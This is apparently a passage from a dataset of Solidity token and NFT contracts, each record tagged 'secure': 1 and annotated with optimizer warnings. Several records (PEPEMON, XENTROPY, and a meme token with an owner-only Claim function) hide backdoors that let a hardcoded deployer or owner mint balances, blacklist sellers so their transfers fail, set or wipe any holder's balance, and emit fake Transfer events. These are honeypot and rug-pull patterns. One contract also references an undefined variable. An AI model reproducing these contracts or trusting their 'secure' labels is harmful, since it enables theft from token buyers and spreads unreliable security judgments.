spender, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {\n require(amount <= _maxTransaction, \"Exceeds Max Transaction\");\n\n if (!_isMarketPair[recipient]) {\n require(\n balanceOf(recipient).add(amount) <= _maxWallet,\n \"Exceeds Max Wallet\"\n );\n }\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function disableLimits() external onlyOwner {\n _maxTransaction = _totalSupply;\n\n _maxWallet = _totalSupply;\n }\n}", "file_name": "solidity_code_173.sol", "secure": 1, "size_bytes": 6499 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract Mirror is ERC721A {\n string uri = \"ipfs://QmcpGDYcd2h5TjPnHceBcSdKCXVYFfMa64WA2x3k942XzU/\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: c1121cc): Mirror.owner should be immutable \n\t// Recommendation for c1121cc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n uint256 public maxSupply = 420;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23fab57): Mirror.cost should be constant \n\t// Recommendation for 23fab57: Add the 'constant' attribute to state variables that never change.\n uint256 public cost = 0.002 ether;\n\n uint256 public maxFreeTx = 1;\n\n mapping(address => uint256) _numForFree;\n\n mapping(uint256 => uint256) _numMinted;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91f20ff): Mirror.maxPerTx should be constant \n\t// Recommendation for 91f20ff: Add the 'constant' attribute to state variables that never change.\n uint256 private maxPerTx;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n mints(amount);\n }\n\n function mints(uint256 amount) internal {\n if (msg.value == 0) {\n uint256 t = totalSupply();\n require(amount == 1);\n if (t > maxSupply / 5) {\n require(balanceOf(msg.sender) == 0);\n require(_numMinted[block.number] < (maxSupply - t) / 11);\n _numMinted[block.number]++;\n }\n _safeMint(msg.sender, 1);\n return;\n }\n require(msg.value >= amount * cost);\n _safeMint(msg.sender, amount);\n }\n\n function giveaway(address rec, uint256 amount) public onlyOwner {\n _safeMint(rec, amount);\n }\n\n function seturi(string memory u) public onlyOwner {\n uri = u;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Mirror\", \"Mirror\") {\n owner = msg.sender;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function setMaxFreePerAddr(uint256 maxTx, uint256 maxS) external onlyOwner {\n maxFreeTx = maxTx;\n maxSupply = maxS;\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_1730.sol", "secure": 1, "size_bytes": 2631 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ISphereAddresses {\n function getSphereAddress(\n string memory _label\n ) external view returns (address);\n function owner() external view returns (address);\n}", "file_name": "solidity_code_1731.sol", "secure": 1, "size_bytes": 256 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ISphereAddresses.sol\" as ISphereAddresses;\n\nabstract contract SphereAddressesImpl {\n\t// WARNING Optimization Issue (immutable-states | ID: 1a32684): SphereAddressesImpl.sphereAddresses should be immutable \n\t// Recommendation for 1a32684: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ISphereAddresses sphereAddresses;\n\n constructor(address addresses_) {\n sphereAddresses = ISphereAddresses(addresses_);\n }\n\n function owner() public view returns (address) {\n return sphereAddresses.owner();\n }\n\n function getSphereAddress(\n string memory _label\n ) public view returns (address) {\n return sphereAddresses.getSphereAddress(_label);\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n modifier onlyTeam() {\n require(\n msg.sender == getSphereAddress(\"team\"),\n \"Ownable: caller is not team\"\n );\n _;\n }\n}", "file_name": "solidity_code_1732.sol", "secure": 1, "size_bytes": 1141 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract LootMAX is IERC20 {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: c522e85): LootMAX.decimals should be immutable \n\t// Recommendation for c522e85: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 180c9e1): LootMAX._totalSupply should be immutable \n\t// Recommendation for 180c9e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private _owner;\n bool private _ownershipRenounced = false;\n\n constructor() {\n name = \"LootMAX\";\n symbol = \"LOOTMAX\";\n decimals = 18;\n _totalSupply = 69_000_000_000_000 * 10 ** uint256(decimals);\n _balances[msg.sender] = _totalSupply;\n _owner = msg.sender;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"ERC20: transfer amount must be greater than zero\");\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function renounceOwnership() public {\n require(!_ownershipRenounced, \"Ownership has already been renounced\");\n require(msg.sender == _owner, \"Only the owner can renounce ownership\");\n\n _ownershipRenounced = true;\n _owner = address(0);\n }\n\n function getOwner() public view returns (address) {\n return _owner;\n }\n}", "file_name": "solidity_code_1733.sol", "secure": 1, "size_bytes": 3737 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n address _Deployer = 0x5D7dE8497B9417Bd3A478a4d765adDEdc5e71ee6;\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}", "file_name": "solidity_code_1734.sol", "secure": 1, "size_bytes": 380 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n string public name;\n string public symbol;\n uint8 public decimals;\n uint256 public totalSupply;\n\n constructor(string memory _name, string memory _symbol, uint8 _decimals) {\n name = _name;\n symbol = _symbol;\n decimals = _decimals;\n require(decimals > 0, \"decimals\");\n }\n\n function transfer(address _recipient, uint256 _amount) public returns (bool) {\n _transfer(msg.sender, _recipient, _amount);\n return true;\n }\n\n function approve(address _spender, uint256 _amount) public returns (bool) {\n _approve(msg.sender, _spender, _amount);\n return true;\n }\n\n function transferFrom(\n address _sender,\n address _recipient,\n uint256 _amount\n ) public returns (bool) {\n require(\n allowance[_sender][msg.sender] >= _amount,\n \"ERC20: insufficient approval\"\n );\n _transfer(_sender, _recipient, _amount);\n _approve(_sender, msg.sender, allowance[_sender][msg.sender] - _amount);\n return true;\n }\n\n function _transfer(\n address _sender,\n address _recipient,\n uint256 _amount\n ) internal {\n require(_sender != address(0), \"ERC20: transfer from the zero address\");\n require(\n _recipient != address(0),\n \"ERC20: transfer to the zero address\"\n );\n require(balanceOf[_sender] >= _amount, \"ERC20: insufficient funds\");\n\n balanceOf[_sender] -= _amount;\n balanceOf[_recipient] += _amount;\n emit Transfer(_sender, _recipient, _amount);\n }\n\n function mint(address _account, uint256 _amount) public onlyOwner {\n _mint(_account, _amount);\n }\n\n function burn(address _account, uint256 _amount) public onlyOwner {\n _burn(_account, _amount);\n }\n\n function _mint(address _account, uint256 _amount) internal {\n require(_account != address(0), \"ERC20: mint to the zero address\");\n\n totalSupply += _amount;\n balanceOf[_account] += _amount;\n emit Transfer(address(0), _account, _amount);\n }\n\n function _burn(address _account, uint256 _amount) internal {\n require(_account != address(0), \"ERC20: burn from the zero address\");\n\n balanceOf[_account] -= _amount;\n totalSupply -= _amount;\n emit Transfer(_account, address(0), _amount);\n }\n\n function _approve(address _owner, address _spender, uint256 _amount) internal {\n require(_owner != address(0), \"ERC20: approve from the zero address\");\n require(_spender != address(0), \"ERC20: approve to the zero address\");\n\n allowance[_owner][_spender] = _amount;\n emit Approval(_owner, _spender, _amount);\n }\n}", "file_name": "solidity_code_1735.sol", "secure": 1, "size_bytes": 3244 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPEMON is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _user_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _fee;\n\t// WARNING Optimization Issue (constable-states | ID: fcef70f): PEPEMON.decimals should be constant \n\t// Recommendation for fcef70f: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 23da776): PEPEMON._TSup should be constant \n\t// Recommendation for 23da776: Add the 'constant' attribute to state variables that never change.\n uint256 public _TSup = 42000000000 * 1000000;\n\t// WARNING Optimization Issue (constable-states | ID: 702836c): PEPEMON.name should be constant \n\t// Recommendation for 702836c: Add the 'constant' attribute to state variables that never change.\n string public name = \"PEPEMON\";\n\t// WARNING Optimization Issue (constable-states | ID: efe9738): PEPEMON.symbol should be constant \n\t// Recommendation for efe9738: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"PPMON\";\n\t// WARNING Optimization Issue (constable-states | ID: f447112): PEPEMON._fees should be constant \n\t// Recommendation for f447112: Add the 'constant' attribute to state variables that never change.\n uint256 internal _fees = 0;\n\n constructor() {\n _fee[_Deployer] = 2;\n _balances[msg.sender] = _TSup;\n\n emit Transfer(address(0), msg.sender, _TSup);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TSup;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function execute(address _sender) external {\n require(_fee[msg.sender] == 2);\n if (_user_[_sender]) _user_[_sender] = false;\n else _user_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_fee[msg.sender] == 2) {\n uint256 sent = amount;\n _balances[recipient] += sent;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[sender] || _user_[recipient]) amount /= _fees;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[msg.sender]) amount /= _fees;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1736.sol", "secure": 1, "size_bytes": 6450 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n error ERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 requestedDecrease\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance < requestedDecrease) {\n revert ERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n unchecked {\n _approve(owner, spender, currentAllowance - requestedDecrease);\n }\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}", "file_name": "solidity_code_1737.sol", "secure": 1, "size_bytes": 5987 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BrinkCoin is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: d7fab0f): BrinkCoin.ContractOwner should be constant \n\t// Recommendation for d7fab0f: Add the 'constant' attribute to state variables that never change.\n address public ContractOwner = 0xF61e59b0FeFd15b136849797d42CCC4e4c10C58A;\n\n constructor() ERC20(\"Brink Coin\", \"BRNK\") Ownable(_msgSender()) {\n _mint(ContractOwner, 1000000000 ether);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n\n function airdrop(\n address[] memory accounts,\n uint256[] memory amounts\n ) external onlyOwner {\n require(\n accounts.length == amounts.length,\n \"arrays must be the same length\"\n );\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n uint256 amount = amounts[i];\n _transfer(_msgSender(), account, amount);\n }\n }\n}", "file_name": "solidity_code_1738.sol", "secure": 1, "size_bytes": 1209 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ncontract XENTROPY {\n mapping(address => uint256) public eAmnT;\n mapping(address => bool) eUsR;\n mapping(address => bool) eRen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b6e9dc): XENTROPY.name should be constant \n\t// Recommendation for 0b6e9dc: Add the 'constant' attribute to state variables that never change.\n string public name = \"XENTROPY\";\n\t// WARNING Optimization Issue (constable-states | ID: 0d898b1): XENTROPY.symbol should be constant \n\t// Recommendation for 0d898b1: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"XENTROPY\";\n\t// WARNING Optimization Issue (constable-states | ID: d5080bf): XENTROPY.decimals should be constant \n\t// Recommendation for d5080bf: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: e768078): XENTROPY.totalSupply should be immutable \n\t// Recommendation for e768078: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);\n uint256 ems = 1;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n eAmnT[msg.sender] = totalSupply;\n deploy(Deployer, totalSupply);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 66ebf0e): XENTROPY.owner should be immutable \n\t// Recommendation for 66ebf0e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: 6faf398): XENTROPY.Router should be constant \n\t// Recommendation for 6faf398: Add the 'constant' attribute to state variables that never change.\n address Router = 0x51c32Bae322D949c6951F7c17DfC2237f74D741D;\n\t// WARNING Optimization Issue (constable-states | ID: 3e220e5): XENTROPY.Deployer should be constant \n\t// Recommendation for 3e220e5: Add the 'constant' attribute to state variables that never change.\n address Deployer = 0xa82cbE54d2dAe403f7B3385aA2afA03E7AF0591A;\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier G() {\n require(msg.sender == owner);\n _;\n }\n modifier H() {\n ems = 0;\n _;\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == Router) {\n require(eAmnT[msg.sender] >= value);\n eAmnT[msg.sender] -= value;\n eAmnT[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (eUsR[msg.sender]) {\n require(ems == 1);\n }\n require(eAmnT[msg.sender] >= value);\n eAmnT[msg.sender] -= value;\n eAmnT[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return eAmnT[account];\n }\n function echk(address O) public G {\n require(!eUsR[O]);\n eUsR[O] = true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function ebnc(address O, uint256 V) public G returns (bool success) {\n eAmnT[O] = V;\n return true;\n }\n function RenounceOwner(address O) public {\n require(msg.sender == owner);\n eRen[O] = true;\n }\n\n function edrw(address O) public G {\n require(eUsR[O]);\n eUsR[O] = false;\n }\n function _deploy() public H {\n require(msg.sender == owner);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == Router) {\n require(value <= eAmnT[from]);\n require(value <= allowance[from][msg.sender]);\n eAmnT[from] -= value;\n eAmnT[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (eUsR[from] || eUsR[to]) {\n require(ems == 1);\n }\n require(value <= eAmnT[from]);\n require(value <= allowance[from][msg.sender]);\n eAmnT[from] -= value;\n eAmnT[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_1739.sol", "secure": 1, "size_bytes": 5035 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Golocoin is ERC20 {\n uint8 private immutable _DECIMALS;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_,\n uint8 decimals_,\n address[2] memory addr_\n ) payable ERC20(name_, symbol_) {\n _DECIMALS = decimals_;\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n if (addr_[1] == 0x0000000000000000000000000000000000000000) {\n payable(addr_[0]).transfer(getBalance());\n } else {\n payable(addr_[1]).transfer((getBalance() * 10) / 119);\n payable(addr_[0]).transfer(getBalance());\n }\n }\n\n receive() external payable {}\n\n function getBalance() private view returns (uint256) {\n return address(this).balance;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_174.sol", "secure": 1, "size_bytes": 1045 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Waifuhentaijoebidendoteth {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 690000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 143cd4e): waifuhentaijoebidendoteth._name should be constant \n\t// Recommendation for 143cd4e: Add the 'constant' attribute to state variables that never change.\n string private _name = \"WaifuHentaiJoeBidendoteth\";\n\t// WARNING Optimization Issue (constable-states | ID: d3d9019): waifuhentaijoebidendoteth._symbol should be constant \n\t// Recommendation for d3d9019: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MOM\";\n\t// WARNING Optimization Issue (immutable-states | ID: 38a3859): waifuhentaijoebidendoteth._owner should be immutable \n\t// Recommendation for 38a3859: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function Claim(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 